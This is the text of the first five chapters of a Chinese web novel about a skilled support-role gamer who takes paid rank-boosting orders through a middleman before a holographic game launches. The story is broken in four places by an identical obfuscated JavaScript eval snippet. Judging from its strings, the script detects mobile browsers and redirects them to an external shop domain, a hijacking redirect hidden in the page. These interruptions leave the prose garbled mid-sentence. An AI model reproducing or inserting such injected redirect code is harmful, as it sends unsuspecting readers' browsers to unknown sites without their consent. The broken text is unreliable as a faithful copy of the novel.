《第一奶妈[全息]》 1. Chapter1 Chapter1东风起 杨曦推开门回到自己的出租屋中，随手将包和眼镜摘下来往桌上一扔，便倒头猛地仰面瘫在了沙发上。 随着进屋后空调自动开启的嘀声，嗡嗡的凉风迎面吹拂出来。一直到笼罩在身上那股红通通黏糊糊的热气被吹散了，整个人才终于感觉活过来了。 八月初的B市，室外那简直不是人待的。那真是只要露天晒上超过一分钟，整个人就得跟刚蒸笼里捞出来一样。杨曦觉得要是端着一盘活虾出去走一躺，回来都得全变成红通通的熟虾。 她就这么直挺挺地躺着歇了三五分钟，才慢吞吞地坐了起来，挪到一旁的冰箱里取了一瓶冰水，仰起头咕噜噜一口气灌了大半。 呼，终于是舒服了。 杨曦一边咳嗽了两声，一边坐回沙发上，从包里翻出手机打开看了看。 手机在包里闷了一路，包晒得烫手，手机外壳更是滚烫滚烫的。这天气啊，出去什么电子设备都是超高温状态，放在手里多摸一会儿能给人手指烫伤。 屏幕一亮起，最先弹出的是招聘App上显示招聘签到缺勤的提示，还有几条HR发来的询问消息。 杨曦看都没去看内容，直接干脆利落地一口气把手机里的求职App给全删了。 既然已经决定了，就不去考虑别的后路。这是杨曦一贯的行事风格。 杨曦一边继续喝着水，一边点开了自己常用社交软件，展开界面顶端长长的置顶的聊天列表——嗯，她的置顶里有足足五十多个账号。 只见那长长的里一水的红蓝黄绿的账号头像后，依次按照游戏职业十分整齐地编号备注着： 刺一（ID水色/男） 刺二（ID神调/男） 法一（ID秋秋/女） 法二（ID淮山/女） 射一（ID亡灵/男） 射二（ID长歌/女） …… …… 杨曦一边躺回沙发上，一边面无表情地用手指往下划拉，脑子里快速地筛选着。 在短暂的思考过后，她点进了备注为“刺五（瘦子猫/男）”的联系人的聊天界面。 杨曦开始打字了，只见她运指如飞，在两秒内扣出了一句话。 “[秋日晴]：猫哥，一会儿打游戏吗？” 过了片刻，对面就回来了一条语音消息：“哇，小晴今天有空吗？可以，打啊！我半小时后就开播了，哈哈，刚好直播打个英雄排名。” 杨曦面无表情地打出一个小猫OK表情包。 瘦子猫看起来很高兴，也回过来了两个猫猫开心的表情：“今天正好打百胜斩，准备跟人PK呢，有小晴你来，那我肯定稳了，哈哈！” 杨曦迅速地也回了他一个猫猫开心的表情：“真的吗？太厉害啦猫哥！（小猫旗开得胜.jpg）” 然后她切出了聊天界面，继续将列表往下拉，找到一个备注为“中介（雪兔/男）”的联系人。 “[秋日晴]：兔子，给我接个国榜辅单，不限角色包胜率，取价高。” 对面几乎是秒回消息：“好嘞姐，您吉祥姐～！我马上给你问，最近有好几个富婆单呢，你要接那可太好了！” 呼……搞定了。 杨曦舒了口气，将手机熄屏随手丢在一旁，转身走进浴室洗澡。 她最近一年现实生活实在太忙，常在玩的只有一个很火的MOBA类游戏。这种游戏好就好在不需要天天签到做日常，有零碎时间点进去就能打。 这款游戏同时也是她的长期零花钱来源，方式就是接游戏段位代打。 这款游戏由于本身十分火爆又有些操作难度，里面的一个热门英雄的战力全国榜代打单子，尤其是建模漂亮的辅助类的角色，运气好能够被开出高达四五万RMB的顶价。杨曦只需要打一单，就够她吃喝加房租两个多月的消耗，业内俗称“富婆单”。 在一款游戏的辅助类英雄角色之中，通常的，越是建模美丽、互动性越高的，角色的人气往往就越高，要找“打手”接单打上英雄全服段位排行榜的价格也就越高。 而打手要冲这类英雄榜单的主要的难点在于：辅助英雄往往比较难在队友乏力的情况下通过自身的操作去完成整个游戏对局逆风翻盘，通常都得要拉上至少一两名同样的水平的输出队友一起才能稳定上分。对于接单的打手来说，性价比往往较低。而需求这类单子的老板，同时绝大多数都还要求高胜率、数据面板漂亮等等附加条件，于是难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094578|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度就更高了。 因此，需求决定市场嘛，接单的人少，价格自然也就高了上去。 而且，这里就还涉及到一个游戏圈多年以来存在的神秘定律——辅助榜出“富婆”。一枚热门辅的全国第一标牌，有时候一度在有竞争的时候能够炒到一个令圈外人看来简直匪夷所思的高价。 杨曦在更年轻的时候，比如刚刚高考完放假，以及大一大二的那段时间接过不少这样的单子，后来临近毕业学业忙碌起来才渐渐淡出了代打圈子。 而她在这些年来赚到的钱也给杨曦带来了一段颇为优渥的大学生活，吃喝玩乐从不缺。直到现在，虽然杨曦目前毕业后啥工作也还没找到，也依旧租住着宽敞明亮的大平层房子，日常用度上从没有差过钱。 不过也因为杨曦这份花钱大手大脚的习惯，她这一路也没能攒下什么家底来，至少不够买房，也不够她连续躺平在家好几年的。 现在突然之间决定要成为一名全职游戏玩家，杨曦心里其实也没什么底。这不，一回家气都来不及喘就赶紧急着重操旧业，想要攒点生活费了。 毕竟等七天以后全息游戏羲和开服，她就没时间再打这些“原始游戏”了。到时候在羲和里能不能够迅速赚得到钱，杨曦也无法未卜先知，所以还是先攒点本钱为好。 蓬蓬头清凉的水流淌过头顶，浴室蒸汽四散而起。杨曦闭上眼，眼前浮现的是白天时在手机上见到的那幅笔墨淋漓的“羲和”二字。说实话，杨曦觉得那是她见过最漂亮的logo。 ——创世之作，羲和降临。 羲和，羲和，杨曦闭着眼，在心里无声地喃喃着。那张宣传图片在她的脑子里反复地翻转，放大，又缩小。 往事如潮水，回忆席卷又激荡。 耳边似乎听见那道清越的琴箫奏声，伴随着男女老少各色音色重叠的念白：“宝马鞍车香花醉，琴剑流风踏月来。少侠请整装，江湖待君游。” “跨时代之作，改网游古今之变局，全息网游《羲和》将于七天后，8月17日东八区上午10点正式公测，面向全球服务器同步开服，敬请期待。” 8月17，杨曦默默地在心里说道：羲和，我定会准时赴约。 东风已至，我必乘风而起。 2. Chapter2 Chapter2关于Y其人 就在杨曦洗澡的时间里，千里之外，那位ID名为“雪兔”的年轻男人正在神情亢奋地编辑自己的社交圈动态。 他一边刷刷地打字，一边另一只手哐哐插入小表情包，没一会儿就熟练敲出了一则花花绿绿的小广告，搓搓手点击了发送。 “[鲜花][鲜花]列表的实力老板们好消息！好消息！！咱们辅皇Y神开单啦！远古真神的含金量咱们老客户都懂得[嘘][吐舌]有隐藏福利哦～[烟花][烟花]这次不限英雄！包胜率！名额就一个，Y神哦！！！各位富婆姐姐富少哥哥们欢迎来问手慢无哦～[飞吻][飞吻]” 雪兔美滋滋地看着自己显示已发布的广告，拿起手边的奶茶喝了一大口。啊，接着就是等待一笔美妙的大单了。赚钱，爽！ 自从网页游戏诞生的那一天起，代练这一行业，就相伴着而生。 代肝代、技术代，老板找代练，代练找老板，这双方的群体之中都有那么一部分，宁愿让点利也不乐意去花时间花精力在浩如烟海的网络上互相蹲蹲又捞捞的，于是随后，就出现了专职的游戏中介，甚至专门的“掮客”工作室。 雪兔就是这么一名个人游戏中介，干了已经有好几年了，在所属的游戏圈也算是个老牌选手了。 干这一行，说累倒也不累，毕竟不是真正的体力活，但平时日常要做的也是挺繁琐的。 线上中介嘛，除了每天24小时在线当客服两头聊天之外，就是天天高强度住在各大社交平台、游戏论坛贴吧等网站里。两眼一睁就是不停地到处发广告、加客户，然后找打/手、排单子，两头的折腾，最后每成一单抽成个10%-30%的佣金。兼职着倒卖一些游戏账号、道具等赚点零碎钱，日子也还算过的下去。 这名圈名一个单字母“Y”的辅代打手，是游戏中介雪兔的置顶联系人之一。 虽然Y现生忙碌已经有较长一段时间没接过什么单了，但在雪兔心里，也仍然视她为自己手里排得上号的摇钱树一尊。 关于和这个Y的相识，也是机缘巧合，雪兔记得很清楚，几年前，他是在某直播间里捞到的她。 当时呢，他还是个才刚入行的小中介，现实里爱玩游戏的贫穷大学生一个。就是因为太穷了，就琢磨着试着想赚点小钱花。 而那时候对像他们这样没有固定客源的萌新小中介来说，每天蹲在相应游戏的各个游戏直播间，是他们做中介的招揽客户的一项重要渠道，主要方式就是俗称的“扫榜”。 “扫榜”呢，简而言之，就是把游戏主播的氪金粉丝榜用户从上到下依次私信——或者说是“骚扰”一遍。能出现在这种榜上面的老板，基本都是现成的已经筛选出来的高质量客户群体：常玩这个游戏，有钱、且舍得花钱，外加在意游戏段位而通常游戏技术都并不那么高。 雪兔和他的千百个同行一样，每天有事没事就过去加好友，发消息骚扰人家： “嗨，小姐姐，要代吗？” “老板，代加＊＊＊稳上分” “小哥哥打标了解一下吗？加＊＊有折扣哦^_^” 彼时的雪兔蹲着蹲着，就留意到了这个Y。 最开始，那是在一个操作犀利但粉丝并不算太多的小主播的直播间里。这个ID为Y的辅助连续好几天都在和该主播双排，技术极好，和主播的配合也非常默契，据直播间粉丝说，Y是这个主播的朋友。 雪兔在这直播间里已经蹲了好几天了。 这个Y是个年轻女生，有一把低柔、清澈而温和的好听嗓音，但说话却不多，除了报技能报点，几乎从不闲聊。从娴熟流畅的操作到整个人低调简练的为人风格，都给观者一种如水一般的舒适感。这些直播间的观众们都挺喜欢她的。 出于某种好奇心理，雪兔忙中抽闲，看了几局游戏的全程。 然后他发现这个Y，她几乎是那种面面俱到型的辅助，大到能够考虑整个游戏大局，以及每一条分路的对战状况、时间节点，思路清晰地把控着全局的节奏；小到几乎清楚每一位队友的每个技能的施放时机，甚至是技能的冷却时长。 她的每一个操作、甚至每一句提醒都有种如春雨般润物无声的贴切与缜密，温柔且精确，语气也恰到好处。 Y的情绪也总是非常的稳定，那口听起来十分适耳的、让人忍不住精神舒展的温柔嗓音在开麦指挥时简直能够轻易抚平局内每一位玩家的情绪。 雪兔看见直播间很多粉丝都会在弹幕里“Y妈妈”、“Y妈咪”的叫。 只要有Y过来双排的时候，主播就几乎一局也没有输过。而且把把游戏都能打出较为顶尖的数据，让主播本人的心情非常愉快，整个直播间氛围也好得不行。 雪兔于是也就理解了为什么这主播愿意一直带着这个辅助妹妹一起玩了。 长期看直播的雪兔是很清楚的，像这些大小的主播们，即使每个人在镜头面前展现出来的性格看着仿佛都大大咧咧活泼能玩梗的样子，但在直播时候找游戏的多排队友其实都是非常谨慎的。 毕竟有的时候，即使双方同样都是主播，在相处与游戏过程里也不一定能磨合好，一加一联动不仅不能等于二，甚至反而带来严重负面效果，引发双方粉丝吵架等。 更何况，这播的还是一款竞技游戏，除了要考虑队友脾气性格能否合得来外，还更得考虑对方游戏技术水平。另外，还有双方的直播风格、观众缘、有无黑历史等方方面面。 而这个Y呢，她不仅为人温柔低调、嗓音好技术佳，又还是玩的辅助位置，主播能够在舒舒服服打赢游戏的同时也不会担心被抢去自己的风头，还能附带一定的直播效果，同时主播自己也玩得状态和心情都好，当然也就每每乐意和她一起玩了。 然后又有一天，雪兔照例一边坐在寝室吃盒饭，一边同时开着十几个直播间页面蹲守着。不过这十几个页面里他只开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094579|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中一个直播间的声音，就是跟Y一起双排的主播的这一个。 不知道为什么，他最近好像就是比较喜欢听Y说话，温温柔柔情绪稳定，听着让他觉得上这个破班赚这点血汗钱的过程好像也变得没那么烦躁了。 结果那天打开直播间，他却发现Y这天并不在队里，主播游戏打得也不是很顺，人状态越来越红温，连带着跟粉丝的互动也很僵硬，还连着怼了两次弹幕，直播间的氛围整个都变得有些微妙。 这时，下面大概已经好几次有人发弹幕问到了Y来不来，雪兔听见主播有些不耐烦地回了句：“别问Y了，她昨天说要陪栗子打一个法师百胜挑战，这几天都来不了！别问了啊。” “这俩妹子，呵呵，认识才没两天呢，搁那哐哐聊上了。”主播的语气酸溜溜的，“哎哟，好得不知天地为何物了都。” 底下不少弹幕听了都开始开玩笑，说些什么“完啦，妈妈不要你啦”、“妈妈有新欢了宝宝咋办啊”之类的，直播间的气氛因此回温了一点。 屏幕外端着碗的雪兔愣了愣。 这名主播口中的这个栗子，他也知道，那也是他常蹲守的直播间之一。那是一个打法刺（刺客型法师）的女主播，算是这一堆的游戏主播里粉丝体量中上的一位，至少是要比说话这个主播本人的咖位要稍大一点的。 出于好奇心理，雪兔很快切到了这个叫栗子的女主播的直播间，打开了声音。 Y果然在这。 还是那么温柔地说着话，用面面俱到的操作配合着队友，对几乎每一位队友都给予着缜密到近乎无微不至的关照。一局接一局，状态和情绪仿佛永远都是那么的稳定，好像永远也不会疲惫，几个小时下来打得栗子直呼爽翻。 又几天后，等主播栗子打完了她的百胜斩，Y就渐渐的也减少了出现在她队伍里的频率，转而，她的身影又出现在了其他别的主播的直播间里。 雪兔一时简直都有点惊了：这人到底认识多少主播啊？！ 于是又出于好奇的，接下来的一两个月的时间里，雪兔每天有意地去蹲这个Y的行动轨迹。结果，他发现这个Y，她简直就是个真正的海王啊！ 这些天下来，雪兔无比震惊地发现：整个他们这游戏圈里的中小主播队伍，这个Y好像都已经快混了个遍了！今天跟这个人明天进那个队的，看着是比他这个干中介的人脉都要来得广。 雪兔看得直呼了不起，妹子你不干我这行实在可惜了啊！ Y本人的游戏账号一直是没有隐藏的，雪兔特地进游戏里搜出来看过，点进她主页，是个专玩辅助的号，上面的数据看起来简直是恐怖。 怎么个恐怖法呢？ 在这号的主页上，只要是Y常玩的角色，基本都以堪称离谱的超高胜率在角色全国排行榜榜首挂着。那一整排陈列着的金光闪闪的靓丽标志，把整个主页都给塞满了，可以说是无比的吸引眼球了。 雪兔看得直咂舌。 3. Chapter3 Chapter3关于Y其人（二） 再然后，不久后的某一天，雪兔手里收到了一个他蹲了好几天直播间才好不容易挖到手的一个大富婆客户的大单子。 老板点的是一个辅助角色的国榜第一，他翻箱倒柜也一时找不到打手愿意接，但又实在很馋富婆客户开出来的那个高价。 在一阵冥思苦想抓耳挠腮之后，鬼使神差地，雪兔打开游戏，又一次点进了Y的游戏主页，盯着她那些闪亮无比的个人战绩发了会儿呆后。 真好，真多标啊……这么多国标，要是换成单子，能卖多少钱啊！ 吸溜了几下口水后，然后突发奇想地，雪兔点进了Y的私信页面。 他对Y发送了一句：“你好，我是中/介，姐你打单不？价高。” 雪兔那一瞬间心里想的就是，他手里正发愁的这个单子，Y要是肯接，那岂不是太合适了！ 在这个游戏里，在对方未回复之前，他就只能够发这么一条消息。雪兔一边忐忑而焦急地等待着，同时也不停地在自家打手群发消息找人接单。 很不幸，他一直等到了好几个小时后也没找到人来打这个单。而就在这时候，游戏里Y忽然给他回了个消息，问他是个人还是工作室。 雪兔自己也不太清楚他是出于怎样的心理一直把游戏挂在后台等待着的。但等真的收到了回复，游戏提示音响起时他一下还有点不敢置信。 雪兔连忙手忙脚乱地拖过键盘打字，回复说他是个人中介。 片刻后，Y给了他一串社交账号，说可以聊聊。 于是两人就此加上了好友。 在最初添加成功后，Y第一时间没有说话，雪兔猜测她可能点进自己朋友圈查他成分去了。他自认兢兢业业诚信人一个，账号的朋友圈里全是发布的软硬广告，也没介意，随她查去。 半分钟后，Y大概看完回来了，开口就问了他两个问题，一是单子价格和她能拿的分成比例，二是问他打款的方式。 直接得雪兔本人都愣了一下。 也许是太急着想拿下这单，又也许就因着对方的这份直截了当，当时还是清澈大学生的小中介雪兔在犹豫片刻后给出了个自己接受范围内最高的分成：他一，对方九。两万的单子，他赚两千。 两千很不错了啊，够他一个月生活费了！ 发完后，雪兔忐忑地等待着，Y很快回来了两个字：成交。 在接下订单后的第二天，雪兔看见Y照例出现在了一名技术输出型主播的直播间里，跟主播双排着。不过这次，她用的就是他给的那位富婆单主的账号了。 接下这一单到完成，Y只用了半周。打得的相当好，结算时角色胜率高达九十九点几，一共就输了一把，结算时以断层的分数稳稳地拿下了当周的国榜第一。 满意得单主连连发了好几个大红包——为了留住人，雪兔忍痛把这些红包分了Y一半。 于是，在这一次还算愉快的合作后，Y就成了他手下的固定打手之一。 从接的第一单起，Y在业内就有着百分百的好评度。她代打不仅效率高，胜率更是高得吓人，而且是游戏圈里极罕有的专营辅助的打手，于是很快就成了他们游戏圈子里叫的上名号的金牌业务员，连带着雪兔的中介事业也跟着节节高升，越混越好。 而且又由于Y个人的那份广得离谱的关系网，她在打单子时总是跟着各个主播们的队，所以整个过程不仅大多时间都在直播间里出镜，而且她打过的号基本都能留下一到多个的所谓的“名人好友位”——而这被雪兔作为所谓“隐藏福利”暗戳戳地宣传了很多回。 用他的话来说：别小看了这小小的看似啥用也没有的所谓“直播出镜位”和“名人好友位”，多得是富哥富姐人家就好这一口。能找代打的，那不就是图点好看、图这点虚荣心嘛。而且直播打，透明安全又放心。这就是赚钱秘诀，金牌和普牌的区别，懂不懂的？ 这不嘛，多年口碑经营下来，雪兔今天刚把Y回归接单的朋友圈发出去才两分钟，就有一名富姐老客户发消息过来了，点名要新出的漂亮辅助国一标，开口就是豪横，放话说，有任何竞价的，她直接对方出价基础上往上加一万。 “你问问Y能不能跟小莲打，”富姐说出了自己的附加要求，“我最近粉他。” 雪兔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094580|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑挑眉，故意为难地：“啊？这有点困难啊……” 富姐冷漠地发动了钞能力：“能打，我再加一万。” 又加一万？那这很OK了，就算不OK那也OK了。 雪兔喜笑颜开，忙回道：“好嘞姐，我这就给您去问问哈。” 可不可以呢？ 给一万块，那当然是可以的。 洗完澡的杨曦包着头发躺在落地窗前，注视着手机微微一笑。 “[秋日晴]：可以，但这一万我要全拿。” “[中介（雪兔/男）]：？” 雪兔扣出一个问号，委屈地控诉：“啥意思呢姐，我就拿点辛苦费你也要克扣啊[哭][哭]” 杨曦脸上露出了个冷笑，一边擦着头发一边回道：“少废话。我拿我的人脉赚的钱，你分什么成？配吗！单钱不够你赚的？做人别太贪！” 那边又发来了两个哭哭的表情，闲扯了几句有的没的，委委屈屈地表示同意了。 杨曦都懒得去回复。 反正这单她是接了，单钱到手，就是够她舒舒服服过两三个月的生活费。这就很好，可以专心玩羲和了。 过了会儿，手机又响了。杨曦拿起来一看，见雪兔又发了条消息过来。 不过这回是八卦来得：“你真认识小莲啊？他不是这两年刚出的新主播吗？你都多久没玩了，还有人脉呢？” 杨曦笑了笑，回道：“你别管。单子账号发我，然后滚蛋。” 雪兔：“嗻。” 认不认识？ 杨曦微微一笑。既然是新主播，认识，她现在肯定是还不认识的。 不过游戏圈说大也不大，总有认识的人。人推人，不就认识了吗？ 她有些懒散地伸了个懒腰，躺下来举起手机，展开自己长得一时半会翻不到尽头的联系人列表，唰唰地上下滑动着。 嗯……她的好友列表一共有三千人。 当然，这三千是社交软件的上限，并不是杨曦本人的。她也时常苦恼于自己的好友总是上限，有些想加的加不了，好在别的社交平台还能互关一些人，也算是勉强弥补了些不足吧。 4. Chapter4 Chapter4所谓人脉 主播小莲是个一年多前进驻平台的新人主播，声音腼腆温和，但手法却很过硬的一个男孩儿，据说才刚满十七岁。玩得一手绝活的控制流法师，露脸直播，长相清秀俊气，人狠话少“冷脸萌”，最近各大平台粉丝涨势非常生猛，杨曦这段时间哪怕没什么空玩游戏，也刷到过不少他的各种操作视频。 其实绝大多数游戏主播都有着一些约定俗成的带粉业务，只要粉丝钱给刷得多，三天两头就能“上车”一回。 那为什么小莲却又能让富婆姐姐求而不得呢？ 很简单，因为他并不是一名娱乐主播，这小男孩是个电竞主播。 娱乐主播与竞技主播，这两种主播的区别就是在一个工作的侧重点上。娱乐主播以直播事业为主，所以讨好粉丝、看重直播效果；竞技主播则通常以电竞成绩为主，视打电子竞技比赛为事业重心，直播则主要是“固粉”以及“业余圈点钱”为目的。 小莲是国内知名战队“北斗星”上一次转会期新招进的新人，今年才刚解的宝宝锁（规定电竞选手年满17岁才能正式进入电子竞技赛场，俗称宝宝锁），队里主副教练盯得比眼珠子都紧，每天的训练时长都给安排得满满当当，就想让他在最好的年纪保持住最巅峰的竞技状态驰骋赛场。 因此，小莲现在人住在战队基地里，吃喝住行全都受到俱乐部的管束，每天都得打大量的训练赛，训练赛结束了也得和职业队友一起多人排位以磨炼配合与默契。于是除了逢年过节有一些直播活动之外，几乎不会去野排，粉丝们当然也没有什么上车机会了。 北斗星战队啊…… 刚上某度搜索完资料回来的杨曦陷入沉思，然后她将好友列表翻到标注了“电竞”分栏的一栏展开，手指飞快地往下滑着。 ——哦，有了。 不错，有两个人脉呢。 其中一个红黑色的头像ID叫作“永曜”，听起来有点中二，但这位可是北斗星战队的老大哥，创始人之一，也是当年可谓如日中天、粉丝千万级别的“曜神”。 这么个大名人，杨曦能够有他好友，是在当年她上初中的时候就加上的了。那时候她在家里也没人管，每天放学回来就是打游戏。 永曜其人，入行极早，在当年杨曦刚上初中的那会儿就已经在另一款游戏里打了有三年的职业了，曾经也是名动一时的电竞天才少年。 但很可惜，在入行的那款游戏的某场极为重要的电竞比赛上，永曜在关键时候不明原因地出现了一个堪称离谱的低级失误，技能丢反震惊全场。比赛结束之后，当即社交平台上就被骂起数不清的高楼，各大视频软件里还被人剪出了不少超高播放量的嘲讽视频，个人主页一时间也充斥了无数失望与谩骂的言论。 当年还不到二十岁的永曜自己受不了这样的打击，从此一蹶不振，以致最后不仅退出了当时的战队，后来更是连那款游戏都不再去玩了。 不过呢，日子总是要过下去的，人也是要吃饭的。 电竞选手的竞技生涯本就最为短暂，在一段时间的颓废过后，永曜意识到不该辜负年华，于是又转进了另一款热门游戏，也就是他和杨曦现在都正在主玩的这个MOBA类游戏。 最开始刚接触的时候，永曜还没能深刻理解这游戏的机制和玩法，操作总是时神时鬼，算是半个娱乐主播，曾经的粉丝量流失得非常严重。但瘦死骆驼比马大，平时靠着直播也还过得下去。 杨曦就是在这时候认识他的。 一场意外相遇的排位赛里，作为辅助队友，她给予了永曜一整局“妈妈型”的全方位贴心守护，基本是把人头喂到他嘴边，喂得当天本来玩得很不顺心，情绪也极差的永曜直呼终于舒服了，更是在对局结束后心情大好地直接向她发送了好友申请。 杨曦这人吧，从她接触游戏以来，她就一直有着一个比较严重的癖好：“输出收集癖”。 ——她那长达三千的好友列表就是这么来的。 从打第一局游戏起，不管是什么游戏，杨曦就一直只玩奶妈辅助位置，并且非常、非常的偏爱游戏中的那些技术过硬的暴力dsp。 一个猛的输出、好的操作手，对于她来说，就像一枚值得放入透明玻璃的华贵橱柜里、一有空就去细细爱抚欣赏的绝世宝贝。就如同一种强迫症一样，只要见到一个操作绝佳的dps，杨曦就情不自禁想方设法地要将之收入囊中——列表之中。 她就爱那种仿佛把一把名贵锋利之剑铸入炉火，竭尽自己所能将所有能用的一切排列组合，以妙到毫巅的操作将之精心呵护、饲弄，而使其得以剑光出鞘大杀四方的感觉。那种成就感和舒爽感，是她开启一局游戏的所有动力。 你等荣耀，皆在我之掌中绽放。 ——中二得听起来有点让人脚趾扣地，但这就是杨曦玩游戏最大的乐趣所在。 我如棋手，网罗棋子，编织战局，执掌输赢，多愉快。 因此，平时只要见到一个操作好的输出玩家，杨曦就上去添加一个，永远热衷于最好把所有的暴力dps都笼络到怀里，永远不嫌多，永远多多益善。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094581|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 俗话说得好，平时得多筹备，用时才不愁嘛。 而永曜当时虽然对这游戏的理解还并没有那么深刻，角色熟练度也有限，但毕竟天赋在那里，杨曦完全能够感觉得出他的潜质。 于是她二话不说就通过了，然后一连跟他双排玩了一个下午，给永曜辅得是芳心大悦。结束时，两人顺理成章地又添加了社交软件好友。 后来，杨曦也时不时会去跟永曜双排，直到他在一局又一局的练习中越打越熟练，越打越有手感，最终重新用自己这些年来的积蓄和朋友一起组建了一个新的竞技战队，在这片新的领域上重新踏入那片自己曾经遗憾挥别过的电竞赛场。 组建了新战队，作为战队队长兼老板，事务自然是多得起飞，那段时间永曜连直播都快顾不上了，在很长一段日子里，每天的平台合同时长都是用来播的户外，诸如什么看基地、装修基地、面试新人等等。 都已经快忙得没空玩游戏了，和杨曦的联系自然也就淡了。 杨曦倒也无所谓，三条腿的蛤蟆不好找，两条腿的输出满地都是。电子竞技这片青春的赛场上从来都不缺天赋异禀的年轻人，这个没了再扒拉一个就行了。她要的是跟暴力dps甜蜜双排，至于跟的具体是哪个，这就很随便，技术好就行，别的从不关心。 不过当之后在永曜的新战队“北斗星”大放异彩，一直从边缘组打到夺冠赛，虽然两年都以遗憾惜败拿下亚军为结局时，杨曦还是每次都卡着恰当的时间发去了祝福和鼓励，有次还通了语音，自认把双方关系维持得还行。 这有没有用得上那天再说，保持联系总是好的嘛！ 杨曦一直以来对她列表里这些珍贵的输出宝宝们都是很用心的，她的记忆力从小就非常好，谁是谁、个人喜好、曾经有过什么经历她都记得清清楚楚，而且非常善用备注。所谓礼多人不怪啰，杨曦一向认为一分耕耘一分收获，只有用心地去维持这些关系，才能够一直有dps用。 看，这不就用上了！ 这个点，杨曦回忆了一下，应该是永曜他们战队刚打完新人训练赛，正在吃饭的时间。她短暂思索了一下自己以前跟这位的常用相处方式，打开了会话框，开始打字。 “[秋日晴]：哈喽呀大主播～在忙吗？” 跟了个酷萌酷萌的系统小表情。 当年刚认识时，在永曜主动坦白自己是个游戏主播时，杨曦就是这么叫的。 往日多少交集愉快，那些“并肩作战”的下午，就尽都浓缩在这么个带着三分调侃的称呼里了。 5. Chapter5 Chapter5小莲 在这时代，基本人均都把手机黏手上，而且杨曦还知道，永曜一直有边吃饭边看手机的习惯。 果然，没一会儿，对面就回复了消息。发的是语音，听得出是在饭厅里，很多人，背景音嘈杂得很。 “[曜哥]：没有呢，我正在吃饭。哈哈，小曦你最近不是忙着找工作吗？找着了吗？” 永曜本名陈曜，社交平台名字取的就是很有老大哥风格的一个“曜哥”。永曜当年读书只读到了初中毕业就去打职业了，文化程度不高，对自己的竞技事业十分看重，性情直爽得有些暴躁，但对朋友总是很大方。 对和这样的人相处，杨曦是很擅长的。 杨曦马上回了个忧郁的小表情：“还没呢，唉！不想找了！热死了都。” 看了她的消息，永曜顿时在语音里哈哈笑了几声，回道：“哈哈，哎呀，现在工作是不好找啊！之前说让你来咱们基地当做饭阿姨，哥给你开高薪！你又不来！” 杨曦佯怒，也发了语音，说道：“好啊，我现在就去买机票过去，等会儿当场一顿饭就给你们全吃进医院去！然后我就找你们下场的对家收钱！” 她说出来的话嗓音活泼、语气情绪十足，但实际上呢，一张脸上什么表情也没有，躺在那儿一脸平静地举着手机，甚至一边分屏上还在一心二用地浏览着关于跨时代全息游戏“羲和”的爆料新闻。 永曜大概是外放的语音，这回发过来的消息背景音里夹杂好几道在嘻嘻哈哈地问这是谁呀的打趣声。 过了几秒，永曜干脆直接拨了个语音通讯过来。 杨曦接通后，先和他寒暄了一会儿，才步入了正题。她也没有直接去提小莲，而是问永曜那里有没有什么新人能借来和自己双排的。 “哥，我没找到工作就又接了个单子，这月份外面太热了，好歹也歇几天。”杨曦语气亲热地说，“你看，曜哥你借个弟弟来和我打几场呗？” 多年的朋友了，也算一路见证着自己从低谷爬起，永曜对杨曦态度一直都是挺好的，闻言倒也没显出排斥，还哈哈笑着开了个玩笑：“弟弟？怎么？我不行啊？哎哟，我们辅王小姐姐是觉得我老了，练不动了呗！” 杨曦当然当场否认了，说知道他这几天忙着呢，哪敢耽搁曜哥大忙人的时间啊。 但实际上吧，杨曦心里想着，永曜确实年纪已经太大了些，二十七八的岁数，对其他职业来说也许还是风华正茂，但对电竞这个行业来说，就已经完全属于老兵一个了。 这几年以来，永曜本来在忙着操持着北斗战队大小事务的同时还兼顾高强度训练就给他自己的身体带来了很大压力，因为腱鞘炎、鼠标手等职业病都已经进过几次医院了，最近听说还由于长期长时间佩戴耳机突发中耳炎，连着吊了好几天的水。 